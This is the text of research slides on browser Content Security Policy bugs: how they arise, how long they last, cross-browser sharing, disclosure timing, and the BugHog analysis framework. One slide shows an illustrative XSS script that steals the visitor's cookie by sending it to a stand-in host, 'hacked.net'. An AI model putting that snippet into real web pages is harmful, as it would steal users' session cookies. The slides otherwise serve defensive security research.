Analyzing the Lifecycle and Mitigation Process of Content Security Policy Bugs

Gertjan Franken, Tom Van Goethem, Lieven Desmet, Wouter Joosen
Content Security Policy (CSP)

- **Defense in-depth** against *content injection attacks* (e.g., XSS)
  - Defined by website
  - Enforced by web browser

- Subsequent version upgrades added:
  - Functionality (e.g. nonce, strict-dynamic)
  - Use cases (e.g. framing control, HTTPS enforcement)

```html
<script>
  // This code will leak the visitor’s cookie
  var cookie = document.cookie;
  fetch('https://hacked.net/?cookie=' + cookie);
</script>
```

Content-Security-Policy: script-src ‘self’;
CSP bypass: How one Chrome XSS bug took 2.5 years and an HTML spec change to fix

The Daily Swig, 21/06/21

Firefox vulnerable to trivial CSP bypass

The Daily Swig, 25/05/19
What are the CSP bug root causes?

🔍 Code revisions that introduce or fix CSP bugs
   ⚠ No comprehensive CSP bug lifecycle dataset
   ⚠ > 100 revisions / day

💡 Automated framework for dynamic evaluations over CSP’s development history

✅ Publicly disclosed fixed CSP bugs (=> proof of concepts)
   • 75 unique bugs

✅ Revision binaries

봐

Introduc.on

Fix

Time

Bug not reproduced
Bug reproduced
BugHog

- Fully dockerized
- Every binary is executed in its own container
  - Dependencies
  - Concurrency
- Also supports lifecycle analysis of other policies (e.g. cookie policies, HSTS, etc.)
1. Bug introducing revisions

- Half of all bugs are foundational
  - $5000 bug lived under the radar for 8 years

- Modifications to CSP logic are likely to cause new bugs

- New non-security feature introductions can act as bypass
  - Fragmented enforcement logic may lead to oversights
2. Room for improvement for cross-browser bug sharing

- Current practice: **Web Platform Tests (WPT)**
  - Vendors push and pull regression tests to and from shared repo
- **Cross-browser** evaluation

75 unique bugs → 14 shared bugs

8 reported for one browser

7 lifetime could have been reduced or even avoided in stable release

4 reproducible in **Safari 16.2**

3 fixed
1 not considered a bug

⚠ Safari was exposed for > 1 year for each of these bugs
3. Inconsistent bug handling can lead to premature disclosure

*Three bugs were publicly disclosed before an effective fix was landed*

- 2 Chromium bugs
- 1 Firefox bug
- > 1 year avoidable exposure

Still present in the **latest release** at the time of the evaluation

✔ Reported and fixed
Key takeaways

- CSP design and implementation is complex
  - Half of collected bugs are foundational
  - Fragile and fragmented nature of the code make it difficult to maintain

- Bugs affecting multiple browsers publicly disclosed before fixed in all
  - Some bugs only reported to single browser
  - Backchannel is needed to jointly address common security bugs

- Many additional findings & insights in our paper!

- BugHog Docker images and source code are freely available

@GJFR_
@tomvangoethem
@lieven_desmet

Illustrations by https://storyset.com

DistriNet/BugHog